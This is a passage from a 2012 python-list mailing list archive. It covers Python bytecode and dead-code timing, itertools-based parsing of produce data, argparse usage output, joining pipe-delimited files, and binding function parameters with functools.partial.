pushback = subit def second(): if pushback is missing: raise TypeError("can't yield from second iterator before first iterator completes") elif pushback is not None: yield from pushback yield from itertools.chain.from_iterable(subit for key, subit in it) return first(), second() >>> list(map(' '.join, partitionwhile(lambda x: x.upper() == x, "CAPSICUM RED fresh from QLD".split()))) ['CAPSICUM RED', 'fresh from QLD'] From python.ml.bruno.dupuis at lisael.org Wed Dec 5 11:40:51 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 17:40:51 +0100 Subject: why does dead code costs time? In-Reply-To: References: Message-ID: <20121205164051.GF10865@hud> On Wed, Dec 05, 2012 at 04:15:59PM +0000, Neil Cerutti wrote: > On 2012-12-05, Bruno Dupuis wrote: > > Hi, > > > > I'm interested in compilers optimizations, so I study python > > compilation process > > > > I ran that script: > > > > import timeit > > > > def f(x): > > return None > > > > def g(x): > > return None > > print(x) > > > > number = 10000 > > > > print(timeit.timeit('f(1)',setup="from __main__ import f", number=number)) > > print(timeit.timeit('g(1)',setup="from __main__ import g", number=number)) > > > > print(dis.dis(f)) > > print(dis.dis(g)) > > > > It gives this output: > > > > 0.003460251959040761 > > 0.004164454061537981 > > 17 0 LOAD_CONST 0 (None) > > 3 RETURN_VALUE > > None > > 20 0 LOAD_GLOBAL 0 (None) > > 3 RETURN_VALUE > > > > 21 4 LOAD_GLOBAL 1 (print) > > 7 LOAD_FAST 0 (x) > > 10 CALL_FUNCTION 1 (1 positional, 0 keyword pair) > > 13 POP_TOP > > None > > > > I do not understand why the dead code `print(x)` takes time (~20% in > > that case). As we see in the opcode, a call to g(1) returns immediately, so > > there should be no delay at all. Where am i wrong? > > > > mmhh... it comes to me now that the gap must be in function loading time... > > I'll check ceval.c > > > > However, isn't there a room for a slight optim here? (in this case, the > > dead code is obvious, but it may be hidden by complex loops and > > conditions) > > Maybe it's the difference between LOAD_CONST and LOAD_GLOBAL. We > can wonder why g uses the latter. Good point! I didn't even noticed that. It's weird... Maybe the difference comes from a peehole optim on f which is not possible on g as g is to complex. > > -- > Neil Cerutti > -- > http://mail.python.org/mailman/listinfo/python-list -- Bruno Dupuis From thebalancepro at gmail.com Wed Dec 5 12:04:50 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Wed, 5 Dec 2012 09:04:50 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: Message-ID: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> Hi Neil, Here's some sample data. The live data is about 300 minor variations on the sample data, about 20,000 lines. Nick Notes: 1. Whitespace is only used for word boundaries. Surplus whitespace is not significant and can be stripped 2. Retain punctuation and parentheses 3. Product is zero or more words in all caps at start of line 4. Description is zero or more words beginning with first word that is not all caps. Description continues to the end of the line 5. Return tuple of strings (product, description) Sample data --- BEANS hand picked BEETROOT certified organic BOK CHOY (bunch) BROCCOLI Mornington Peninsula BRUSSEL SPROUTS CABBAGE green CABBAGE Red CAPSICUM RED CARROTS CARROTS loose CARROTS juicing, certified organic CARROTS Trentham, large seconds, certified organic CARROTS Trentham, firsts, certified organic CAULIFLOWER CELERY Mornington Peninsula IPM grower CELERY Mornington Peninsula IPM grower CUCUMBER EGGPLANT FENNEL GARLIC (from Argentina) GINGER fresh uncured KALE (bunch) KOHL RABI certified organic LEEKS LETTUCE iceberg MUSHROOM cup or flat MUSHROOM Swiss brown ONION brown ONION red ONION spring (bunch) PARSNIP, certified organic POTATOES certified organic POTATOES Sebago POTATOES Desiree POTATOES Bullarto chemical free POTATOES Dutch Cream POTATOES Nicola POTATOES Pontiac POTATOES Otway Red POTATOES teardrop PUMPKIN certified organic SCHALLOTS brown SNOW PEAS SPINACH I'll try to get certified organic (bunch) SWEET POTATO gold certified organic SWEET POTATO red small SWEDE certified organic TOMATOES Qld TURMERIC fresh certified organic ZUCCHINI APPLES Harcourt Pink Lady, Fuji, Granny Smith APPLES Harcourt 2 kg bags, Pink Lady or Fuji (bag) AVOCADOS AVOCADOS certified organic, seconds BANANAS Qld, organic GRAPEFRUIT GRAPES crimson seedless KIWI FRUIT Qld certified organic LEMONS LIMES MANDARINS ORANGES Navel PEARS Beurre Bosc Harcourt new season PEARS Packham, Harcourt new season SULTANAS 350g pre-packed bags EGGS Melita free range, Barker's Creek BASIL (bunch) CORIANDER (bunch) DILL (bunch) MINT (bunch) PARSLEY (bunch) On Thursday, 6 December 2012 00:29:13 UTC+11, Neil Cerutti wrote: > On 2012-12-05, Nick Mellor wrote: > > > Hi Terry, > > > > > > For my money, and especially in your versions, despite several > > > expert solutions using other features, itertools has it. It > > > seems to me to need less nutting out than the other approaches. > > > It's short, robust, has a minimum of symbols, uses simple > > > expressions and is not overly clever. If we could just get used > > > to using takewhile. > > > > The main reason most of the solutions posted failed is lack of > > complete specification to work with while sumultaneously trying > > to make as tiny and simplistic a solution as possible. > > > > I'm struggling with the empty description bug right now. ;) > > > > -- > > Neil Cerutti From python.ml.bruno.dupuis at lisael.org Wed Dec 5 12:19:29 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 18:19:29 +0100 Subject: why does dead code costs time? In-Reply-To: <20121205164051.GF10865@hud> References: <20121205164051.GF10865@hud> Message-ID: <20121205171928.GG10865@hud> On Wed, Dec 05, 2012 at 05:40:51PM +0100, Bruno Dupuis wrote: > On Wed, Dec 05, 2012 at 04:15:59PM +0000, Neil Cerutti wrote: > > Maybe it's the difference between LOAD_CONST and LOAD_GLOBAL. We > > can wonder why g uses the latter. > > Good point! I didn't even noticed that. It's weird... Maybe the > difference comes from a peehole optim on f which is not possible on g as > g is to complex. > Neil, you were right, thanks. I patched peehole.c to remove this optim, and now the figures are the same. I investigate to find out why the latter function is not optimized the same way (and if it can be, I'll propose a patch for that) -- Bruno Dupuis From steve+comp.lang.python at pearwood.info Wed Dec 5 12:34:57 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 05 Dec 2012 17:34:57 GMT Subject: why does dead code costs time? References: Message-ID: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> On Wed, 05 Dec 2012 16:46:39 +0100, Bruno Dupuis wrote: > Hi, > > I'm interested in compilers optimizations, so I study python compilation > process > > I ran that script: > > import timeit > > def f(x): > return None > > def g(x): > return None > print(x) > > number = 10000 > > print(timeit.timeit('f(1)',setup="from __main__ import f", > number=number)) print(timeit.timeit('g(1)',setup="from __main__ > import g", number=number)) > > print(dis.dis(f)) > print(dis.dis(g)) > > It gives this output: > > 0.003460251959040761 > 0.004164454061537981 > 17 0 LOAD_CONST 0 (None) > 3 RETURN_VALUE > None > 20 0 LOAD_GLOBAL 0 (None) > 3 RETURN_VALUE > > 21 4 LOAD_GLOBAL 1 (print) > 7 LOAD_FAST 0 (x) > 10 CALL_FUNCTION 1 (1 positional, 0 keyword > pair) 13 POP_TOP > None > > I do not understand why the dead code `print(x)` takes time (~20% in > that case). As we see in the opcode, a call to g(1) returns immediately, > so there should be no delay at all. Where am i wrong? The difference is almost certain between the LOAD_CONST and the LOAD_GLOBAL. As to *why* there is such a difference, I believe that's a leftover from early Python days when None was not a keyword and could be reassigned. [steve at ando ~]$ python1.5 Python 1.5.2 (#1, Aug 27 2012, 09:09:18) [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> from dis import dis >>> >>> def h(): ... x = 1 ... return None ... >>> dis(h) 0 SET_LINENO 1 3 SET_LINENO 2 6 LOAD_CONST 1 (1) 9 STORE_FAST 0 (x) 12 SET_LINENO 3 15 LOAD_GLOBAL 1 (None) 18 RETURN_VALUE 19 LOAD_CONST 0 (None) 22 RETURN_VALUE >>> None = 42 >>> h() 42 Now that None is a keyword, it should always be a LOAD_CONST. -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 5 12:39:55 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 05 Dec 2012 17:39:55 GMT Subject: why does dead code costs time? References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50bf86eb$0$29994$c3e8da3$5496439d@news.astraweb.com> On Wed, 05 Dec 2012 17:34:57 +0000, Steven D'Aprano wrote: > I believe that's a leftover from > early Python days when None was not a keyword and could be reassigned. Oops! Wrong copy and paste! Here's a simpler version: [steve at ando ~]$ python1.5 Python 1.5.2 (#1, Aug 27 2012, 09:09:18) [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> from dis import dis >>> def h(): ... return None ... >>> dis(h) 0 SET_LINENO 1 3 SET_LINENO 2 6 LOAD_GLOBAL 0 (None) 9 RETURN_VALUE 10 LOAD_CONST 0 (None) 13 RETURN_VALUE The conclusion remains the same: calling LOAD_GLOBAL None is likely a fossil from ancient Python before it was a keyword. -- Steven From python.ml.bruno.dupuis at lisael.org Wed Dec 5 12:42:37 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 18:42:37 +0100 Subject: How does one make argparse print usage when no options are provided on the command line? In-Reply-To: <20121205084830.74e842119d151781db385406@lavabit.com> References: <20121205084830.74e842119d151781db385406@lavabit.com> Message-ID: <20121205174237.GH10865@hud> On Wed, Dec 05, 2012 at 08:48:30AM -0800, rh wrote: > I have argparse working with one exception. I wanted the program to print out > usage when no command line options are given. But I only came across > other examples where people didn't use argparse but instead printed out > a separate usage statement. So they used argparse for everything but the > case where no command line args are given. > this is quite raw, but i'd add import sys if len(sys.argv) == 1: sys.argv.append('-h') before I call parser.parse_args() Should work -- Bruno Dupuis From python at mrabarnett.plus.com Wed Dec 5 12:57:19 2012 From: python at mrabarnett.plus.com (MRAB) Date: Wed, 05 Dec 2012 17:57:19 +0000 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <05bca175-2077-4fb8-917e-baee1a43a47d@googlegroups.com> Message-ID: <50BF8AFF.6060308@mrabarnett.plus.com> On 2012-12-05 13:45, Chris Angelico wrote: > On Wed, Dec 5, 2012 at 12:17 PM, Nick Mellor wrote: >> >> takewhile mines for gold at the start of a sequence, dropwhile drops the dross at the start of a sequence. > > When you're using both over the same sequence and with the same > condition, it seems odd that you need to iterate over it twice. > Perhaps a partitioning iterator would be cleaner - something like > this: > > def partitionwhile(predicate, iterable): > iterable = iter(iterable) > while True: > val = next(iterable) > if not predicate(val): break > yield val > raise StopIteration # Signal the end of Phase 1 > for val in iterable: yield val # or just "yield from iterable", I think > > Only the cold hard boot of reality just stomped out the spark of an > idea. Once StopIteration has been raised, that's it, there's no > "resuming" the iterator. Is there a way around that? Is there a clean > way to say "Done for now, but next time you ask, there'll be more"? > Perhaps you could have some kind of partitioner object: class Partitioner: _SENTINEL = object() def __init__(self, iterable): self._iterable = iter(iterable) self._unused_item = self._SENTINEL def takewhile(self, condition): if self._unused_item is not self._SENTINEL: if not condition(self._unused_item): raise StopIteration yield self._unused_item self._unused_item = self._SENTINEL for item in self._iterable: if not condition(item): self._unused_item = item break yield item raise StopIteration def remainder(self): if self._unused_item is not self._SENTINEL: yield self._unused_item self._unused_item = self._SENTINEL for item in self._iterable: yield item raise StopIteration def is_all_caps(word): return word == word.upper() part = Partitioner("CAPSICUM RED fresh from QLD".split()) product = " ".join(part.takewhile(is_all_caps)) description = " ".join(part.remainder()) print([product, description]) From python at mrabarnett.plus.com Wed Dec 5 12:57:26 2012 From: python at mrabarnett.plus.com (MRAB) Date: Wed, 05 Dec 2012 17:57:26 +0000 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> Message-ID: <50BF8B06.3070307@mrabarnett.plus.com> On 2012-12-05 17:04, Nick Mellor wrote: > Hi Neil, > > Here's some sample data. The live data is about 300 minor variations on the sample data, about 20,000 lines. > [snip] You have a duplicate: > CELERY Mornington Peninsula IPM grower > CELERY Mornington Peninsula IPM grower From dd at topekacapitalmarkets.com Wed Dec 5 12:57:31 2012 From: dd at topekacapitalmarkets.com (Daniel Doo) Date: Wed, 5 Dec 2012 11:57:31 -0600 Subject: Help "joining" two files delimited with pipe character ("|") Message-ID: <08080305078A3F47B751F7412214A051011B096BF3@MBX22.exg5.exghost.com> Hello, I am new to Python. Is there a method to "join" two pipe delimited files using a unique key that appears in both files? I would like to implement something similar to the Unix join command. Thanks for your help! ________________________________ Topeka Capital Markets Disclaimers - http://topekacapitalmarkets.com/Disclaimers.aspx -------------- next part -------------- An HTML attachment was scrubbed... URL: From ian.g.kelly at gmail.com Wed Dec 5 12:59:26 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 10:59:26 -0700 Subject: why does dead code costs time? In-Reply-To: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Wed, Dec 5, 2012 at 10:34 AM, Steven D'Aprano wrote: > The difference is almost certain between the LOAD_CONST and the > LOAD_GLOBAL. > > As to *why* there is such a difference, I believe that's a leftover from > early Python days when None was not a keyword and could be reassigned. I think this should even be considered a bug, not just a missing optimization. Consider: >>> globals()['None'] = 42 >>> def f(x): ... return None ... print(x) ... >>> f('test') 42 The use of the LOAD_GLOBAL allows None to effectively be reassigned. It's also worth noting that: >>> def f(x): ... return ... print(x) ... >>> dis.dis(f) 2 0 LOAD_CONST 0 (None) 3 RETURN_VALUE 3 4 LOAD_GLOBAL 0 (print) 7 LOAD_FAST 0 (x) 10 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 13 POP_TOP So if you just write 'return' rather than 'return None', you get the correct bytecode. Additionally, the use of LOAD_GLOBAL instead of LOAD_CONST seems to be linked to having unreachable code at the end of the function. This is fine: >>> def f(x): ... if x: ... return None ... print(x) ... >>> dis.dis(f) 2 0 LOAD_FAST 0 (x) 3 POP_JUMP_IF_FALSE 10 3 6 LOAD_CONST 0 (None) 9 RETURN_VALUE 4 >> 10 LOAD_GLOBAL 1 (print) 13 LOAD_FAST 0 (x) 16 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 19 POP_TOP 20 LOAD_CONST 0 (None) 23 RETURN_VALUE But this is not. Note here that *both* loads of None become LOAD_GLOBAL in this case: >>> def f(x): ... if x: ... return None ... return None ... print(x) ... >>> dis.dis(f) 2 0 LOAD_FAST 0 (x) 3 POP_JUMP_IF_FALSE 13 3 6 LOAD_GLOBAL 0 (None) 9 RETURN_VALUE 10 JUMP_FORWARD 0 (to 13) 4 >> 13 LOAD_GLOBAL 0 (None) 16 RETURN_VALUE 5 17 LOAD_GLOBAL 1 (print) 20 LOAD_FAST 0 (x) 23 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 26 POP_TOP From neilc at norwich.edu Wed Dec 5 13:16:04 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 18:16:04 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> Message-ID: On 2012-12-05, Nick Mellor wrote: > Hi Neil, > > Here's some sample data. The live data is about 300 minor > variations on the sample data, about 20,000 lines. Thanks, Nick. This slight variation on my first groupby try seems to work for the test data. def prod_desc(s): prod = [] desc = [] for k, g in itertools.groupby(s.split(), key=lambda w: any(c.islower() for c in w)): if prod or k: desc.extend(g) else: prod.extend(g) return [' '.join(prod), ' '.join(desc)] -- Neil Cerutti From miki.tebeka at gmail.com Wed Dec 5 13:17:27 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 5 Dec 2012 10:17:27 -0800 (PST) Subject: Help "joining" two files delimited with pipe character ("|") In-Reply-To: References: Message-ID: <08e9d25a-ec58-47b0-bcd3-26b5e0d853a3@googlegroups.com> On Wednesday, December 5, 2012 9:57:31 AM UTC-8, Daniel Doo wrote: > I am new to Python.? Is there a method to ?join? two pipe delimited files using a unique key that appears in both files?? Have a look at Panda's concat (http://pandas.pydata.org/pandas-docs/dev/merging.html). It also have utilities to read delimited files into DataFrame. From miki.tebeka at gmail.com Wed Dec 5 13:17:27 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 5 Dec 2012 10:17:27 -0800 (PST) Subject: Help "joining" two files delimited with pipe character ("|") In-Reply-To: References: Message-ID: <08e9d25a-ec58-47b0-bcd3-26b5e0d853a3@googlegroups.com> On Wednesday, December 5, 2012 9:57:31 AM UTC-8, Daniel Doo wrote: > I am new to Python.? Is there a method to ?join? two pipe delimited files using a unique key that appears in both files?? Have a look at Panda's concat (http://pandas.pydata.org/pandas-docs/dev/merging.html). It also have utilities to read delimited files into DataFrame. From ian.g.kelly at gmail.com Wed Dec 5 13:18:56 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 11:18:56 -0700 Subject: Help "joining" two files delimited with pipe character ("|") In-Reply-To: <08080305078A3F47B751F7412214A051011B096BF3@MBX22.exg5.exghost.com> References: <08080305078A3F47B751F7412214A051011B096BF3@MBX22.exg5.exghost.com> Message-ID: On Wed, Dec 5, 2012 at 10:57 AM, Daniel Doo
wrote: > I am new to Python. Is there a method to ?join? two pipe delimited files > using a unique key that appears in both files? I would like to implement > something similar to the Unix join command. If the files are small enough to fit in virtual memory, load one of the files into a dict where the key is the join field and the value is the full line. Then iterate over the other file one line at a time, checking to see if the join field is in the dict. If it is, output the joined line. Otherwise, skip it. From ian.g.kelly at gmail.com Wed Dec 5 13:22:22 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 11:22:22 -0700 Subject: Help "joining" two files delimited with pipe character ("|") In-Reply-To: References: <08080305078A3F47B751F7412214A051011B096BF3@MBX22.exg5.exghost.com> Message-ID: On Wed, Dec 5, 2012 at 11:18 AM, Ian Kelly wrote: > On Wed, Dec 5, 2012 at 10:57 AM, Daniel Doo
wrote: >> I am new to Python. Is there a method to ?join? two pipe delimited files >> using a unique key that appears in both files? I would like to implement >> something similar to the Unix join command. > > If the files are small enough to fit in virtual memory, load one of > the files into a dict where the key is the join field and the value is > the full line. Then iterate over the other file one line at a time, > checking to see if the join field is in the dict. If it is, output > the joined line. Otherwise, skip it. Note that this assumes that the join fields are unique. If they're not, then you would need to store lists of lines rather than single lines in the dict. From python.ml.bruno.dupuis at lisael.org Wed Dec 5 13:24:13 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 19:24:13 +0100 Subject: why does dead code costs time? In-Reply-To: References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <20121205182413.GI10865@hud> On Wed, Dec 05, 2012 at 10:59:26AM -0700, Ian Kelly wrote: > On Wed, Dec 5, 2012 at 10:34 AM, Steven D'Aprano > wrote: > > The difference is almost certain between the LOAD_CONST and the > > LOAD_GLOBAL. > > > > As to *why* there is such a difference, I believe that's a leftover from > > early Python days when None was not a keyword and could be reassigned. > > I think this should even be considered a bug, not just a missing > optimization. Consider: This is definitely a bug > >>> globals()['None'] = 42 > >>> def f(x): > ... return None > ... print(x) > ... > >>> f('test') > 42 This one is pretty scary The difference between `return None` and `return` leads to inconsistency and is in contradiction with the specs, AFAIK. I'm glad we pointed this out. -- Bruno Dupuis From ian.g.kelly at gmail.com Wed Dec 5 13:31:57 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 5 Dec 2012 11:31:57 -0700 Subject: How does one make argparse print usage when no options are provided on the command line? In-Reply-To: <20121205084830.74e842119d151781db385406@lavabit.com> References: <20121205084830.74e842119d151781db385406@lavabit.com> Message-ID: On Wed, Dec 5, 2012 at 9:48 AM, rh wrote: > I have argparse working with one exception. I wanted the program to print out > usage when no command line options are given. But I only came across > other examples where people didn't use argparse but instead printed out > a separate usage statement. So they used argparse for everything but the > case where no command line args are given. if len(sys.argv) <= 1: parser.print_usage() sys.exit(1) else: args = parser.parse_args() From mentifex at myuw.net Wed Dec 5 13:38:52 2012 From: mentifex at myuw.net (Mentifex) Date: Wed, 5 Dec 2012 10:38:52 -0800 (PST) Subject: Need porting of German Wotan AI into Python Message-ID: The Artificial General Intelligence (AGI) at http://www.scn.org/~mentifex/mindforth.txt has been re-recreated in the German language at http://www.scn.org/~mentifex/DeKi.txt and needs porting into the Python language. There are no funds available for payment but mega kudos will accrue to the successful Python programmer who creates the Python True AI based on the various AI Minds such as http://www.scn.org/~mentifex/AiMind.html in English over JavaScript and the Russian http://www.scn.org/~mentifex/Dushka.html also in JavaScript. Mentifex (Arthur) -- http://mind.sourceforge.net/python.html http://www.listbox.com/subscribe/?list_id=303 http://www.chatbots.org/ai_zone/viewthread/240 http://www.amazon.com/The-Art-Meme-ebook/dp/B007ZI66FS/ From olivier.scalbert at algosyn.com Wed Dec 5 13:50:12 2012 From: olivier.scalbert at algosyn.com (Olivier Scalbert) Date: Wed, 05 Dec 2012 19:50:12 +0100 Subject: Secretly passing parameter to function Message-ID: <50bf9764$0$3120$ba620e4c@news.skynet.be> Hi all ! I have a problem that is not easy to explained, so I have tried to reduce it a lot. We are using a framework, that we can not modify. in framework.py: def do(something): ''' Here we are in a framework that can not be modified ... It does a lot of things and finally: ''' something() in test.py: from framework import * def step1(): print "Do step1" def step2(): print "Do step2" # We ask the framework to do some work. do(step1) do(step2) do(step3) We are writing step1, step2, ... and asking the framework to process them. Everything is ok, until we want to add a parameter to some steps. We want to be able to do that: in test.py: from framework import * def step1(param): print "Do step1 with param" def step2(): print "Do step2" # We ask the framework to do some work. do(step1, param = None) do(step1, param = [0, 1, 5]) # again do(step2) Of course it does not work ... TypeError: do() takes exactly 1 argument (2 given) And we can not modify the framework (in which "do" is defined. One solution would be to use a global variable that can be set before each step. But it is not very elegant ... One other approach would be to add dynamically an attribute the the step1 function, and retrieve it inside the function, but it is perhaps overkill. Do you have some ideas ? Thanks, Olivier From thebalancepro at gmail.com Wed Dec 5 14:01:35 2012 From: thebalancepro at gmail.com (Nick Mellor) Date: Wed, 5 Dec 2012 11:01:35 -0800 (PST) Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> Message-ID: <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> Neil, Further down the data, found another edge case: "Spring ONION from QLD" Following the spec, the whole line should be description (description starts at first word that is not all caps.) This case breaks the latest groupby. N From jhsu802701 at gmail.com Wed Dec 5 14:14:42 2012 From: jhsu802701 at gmail.com (Jason Hsu) Date: Wed, 5 Dec 2012 11:14:42 -0800 (PST) Subject: Remote server: running a Python script and making *.csv files publicly available Message-ID: <2b98a199-2e7c-4eb0-a02c-6a99668eef54@googlegroups.com> I have a Python 2.7 script that produces *.csv files. I'd like to run this Python script on a remote server and make the *.csv files publicly available to read. Can this be done on Heroku? I've gone through the tutorial, but it seems to be geared towards people who want to create a whole web site. If Heroku isn't the solution for me, what are the alternatives? I tried Google App Engine, but it requires Python 2.5 and won't work with 2.7. From ckaynor at zindagigames.com Wed Dec 5 14:21:19 2012 From: ckaynor at zindagigames.com (Chris Kaynor) Date: Wed, 5 Dec 2012 11:21:19 -0800 Subject: Secretly passing parameter to function In-Reply-To: <50bf9764$0$3120$ba620e4c@news.skynet.be> References: <50bf9764$0$3120$ba620e4c@news.skynet.be> Message-ID: On Wed, Dec 5, 2012 at 10:50 AM, Olivier Scalbert < olivier.scalbert at algosyn.com> wrote: > Hi all ! > > I have a problem that is not easy to explained, so I have tried to reduce > it a lot. > > We are using a framework, that we can not modify. > > in framework.py: > def do(something): > ''' > Here we are in a framework that can not be modified ... > It does a lot of things > > and finally: > ''' > something() > > in test.py: > from framework import * > > def step1(): > print "Do step1" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > do(step1) > do(step2) > do(step3) > > > We are writing step1, step2, ... and asking the framework to process them. > Everything is ok, until we want to add a parameter to some steps. > We want to be able to do that: > > in test.py: > from framework import * > > def step1(param): > print "Do step1 with param" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > > do(step1, param = None) > do(step1, param = [0, 1, 5]) # again > do(step2) > > Probably the easiest solution would be to use functools.partial to create a proxy function, as follows: import functools do(functools.partial(step1, param=None)) do(functools.partial(step1, param=[0,1,5])) do(step2) Effectively what functools.partial does is returns a new function with the arguments defined in the constructor. It looks something like: def partial(func, *args, **kwargs): def newFunc(*cargs, **ckwargs): return func(*args+cargs, **kwargs+ckwargs) return newFunc Note, that implementation of partial may not exactly match the semantics of the real thing, and is untested and may just flat out not work...I'd recommend using the real one instead. In this case, it will produce a function that really takes no additional arguments, as all arguments are defined as part of the creation, meaning the new function will match the requirements by the framework of taking 0 arguments, despite the actual function taking and receiving one keyword argument (param). There is one caveat of using functools.partial: for positional arguments, you cal only fill the arguments in left-to-right order; you cannot specify the second argument of a list, other than specifying it by name. For example, for the function "def test(a, b, c)", you can specify arguments "a", "a and b", or "a and b and c" by position, but you cannot specify only the arguments "b", "c", "a and c", or "b and c" by position. You can, however, specify them by name, as keyword-arguments. An alternative approach to the problem is to either use lamdas or write a specialized wrapper like my example partial above to specify the arguments. These eliminate the restriction on argument order for partial. An example for lamdas would be: do(lambda: step1(param=None)) do(lambda: step1(param=[0,1,5])) do(step2) This works much the same way as partial, in that it creates a new, unnamed function which specifies the arguments. > Of course it does not work ... > TypeError: do() takes exactly 1 argument (2 given) > > And we can not modify the framework (in which "do" is defined. > > One solution would be to use a global variable that can be set before each > step. But it is not very elegant ... > > One other approach would be to add dynamically an attribute the the step1 > function, and retrieve it inside the function, but it is perhaps overkill. > > Do you have some ideas ? > > Thanks, > > > Olivier > > -- > http://mail.python.org/**mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From d at davea.name Wed Dec 5 14:21:21 2012 From: d at davea.name (Dave Angel) Date: Wed, 05 Dec 2012 14:21:21 -0500 Subject: Secretly passing parameter to function In-Reply-To: <50bf9764$0$3120$ba620e4c@news.skynet.be> References: <50bf9764$0$3120$ba620e4c@news.skynet.be> Message-ID: <50BF9EB1.4050509@davea.name> On 12/05/2012 01:50 PM, Olivier Scalbert wrote: > Hi all ! > > I have a problem that is not easy to explained, so I have tried to > reduce it a lot. > > We are using a framework, that we can not modify. > > in framework.py: > def do(something): > ''' > Here we are in a framework that can not be modified ... > It does a lot of things > > and finally: > ''' > something() > > in test.py: > from framework import * > > def step1(): > print "Do step1" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > do(step1) > do(step2) > do(step3) > > > We are writing step1, step2, ... and asking the framework to process > them. > Everything is ok, until we want to add a parameter to some steps. > We want to be able to do that: > > in test.py: > from framework import * > > def step1(param): > print "Do step1 with param" > > def step2(): > print "Do step2" > > > # We ask the framework to do some work. > > do(step1, param = None) > do(step1, param = [0, 1, 5]) # again > do(step2) > > Of course it does not work ... > TypeError: do() takes exactly 1 argument (2 given) > > And we can not modify the framework (in which "do" is defined. > > One solution would be to use a global variable that can be set before > each step. But it is not very elegant ... > > One other approach would be to add dynamically an attribute the the > step1 function, and retrieve it inside the function, but it is perhaps > overkill. > > Do you have some ideas ? > Other approaches are lamba, default-argument trick, a function closure, a callable class instance, and functools.partial. The real question you have to ask is what is the scope AND LIFETIME of this parameter. Suppose you want to want to have five of these same calls, with five different parameters? (Example, a GUI where you have a single function which might be called on an event of any of five buttons -- you want to pass the button-object to the function) import functools def step1(param): print "Do step1 with param", param def step2(): print "Do step2" class Framework: def __init__(self): self.pending = [] def do(self, func): print "current", self.pending self.pending.append(func) def flush(self): for func in self.pending: func() frame = Framework() frame.do(step2) frame.do(step2) frame.do(step2) frame.do(functools.partial(step1, 45)) frame.flush() -- DaveA From inq1ltd at inqvista.com Wed Dec 5 14:36:04 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Wed, 05 Dec 2012 14:36:04 -0500 Subject: mini browser with python Message-ID: <7021409.kQlh19oPqF@mach-114-20> Python help. I can connect to and download a web page, html code, and save it to a file. If connected to the web, I can use KWrite to open the file and navigate the page. I want to view the html file without using a browser or KWrite as I do now. In other words I need a mini, simple browser; something I can build that will open, read and display a saved html file. I would appreciate some direction. jimonlinux -------------- next part -------------- An HTML attachment was scrubbed... URL: From neilc at norwich.edu Wed Dec 5 15:13:41 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 5 Dec 2012 20:13:41 GMT Subject: Good use for itertools.dropwhile and itertools.takewhile References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> Message-ID: On 2012-12-05, Nick Mellor wrote: > Neil, > > Further down the data, found another edge case: > > "Spring ONION from QLD" > > Following the spec, the whole line should be description > (description starts at first word that is not all caps.) This > case breaks the latest groupby. A-ha! I did check your samples for the case of an empty product name and not find any started to think it couldn't happen. Change if prod or k: to if desc or prod or k: If this data file gets any weirder, let me know. ;) -- Neil Cerutti From charles.xrandolph2 at gmail.com Wed Dec 5 15:24:39 2012 From: charles.xrandolph2 at gmail.com (Owatch) Date: Wed, 5 Dec 2012 12:24:39 -0800 (PST) Subject: Python Noob Question. In-Reply-To: <50bcb507$0$6622$9b4e6d93@newsspool2.arcor-online.net> References: <8322bece-1a04-456e-8dc4-910cfc502a07@googlegroups.com> <50bbcba5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50bcb507$0$6622$9b4e6d93@newsspool2.arcor-online.net> Message-ID: Re On Monday, December 3, 2012 4:19:51 PM UTC+2, Alexander Blinne wrote: > Hello, > > > > by having a quick look at their website i found a plugin for CoreTemp > > which acts as a server and can be asked for status information of the > > cpu. 